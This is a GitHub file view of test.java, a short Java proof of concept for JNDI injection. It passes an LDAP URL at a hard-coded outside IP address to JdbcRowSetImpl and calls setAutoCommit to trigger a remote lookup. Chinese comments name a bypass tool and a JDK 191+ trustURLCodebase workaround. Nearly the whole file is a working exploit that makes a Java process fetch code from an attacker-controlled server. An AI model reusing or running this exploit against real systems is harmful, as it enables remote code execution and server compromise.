forked from Firebasky/Java
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.java
More file actions
21 lines (19 loc) · 795 Bytes
/
test.java
File metadata and controls
21 lines (19 loc) · 795 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package shell.JNDI;
import com.sun.rowset.JdbcRowSetImpl;
public class test {
public static void main(String[] args) {
String payload = "ldap://1.116.136.120:8888/test";//可使用LdapBypassJndi工具
// String payload = "ldap://127.0.0.1:1399/test";
try {
Jndieval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void Jndieval(String payload) throws Exception{
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//绕过jdk191+
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(payload);//设置exp,通过getDataSourceName获得
jdbcRowSet.setAutoCommit(true);//调用connect()
}
}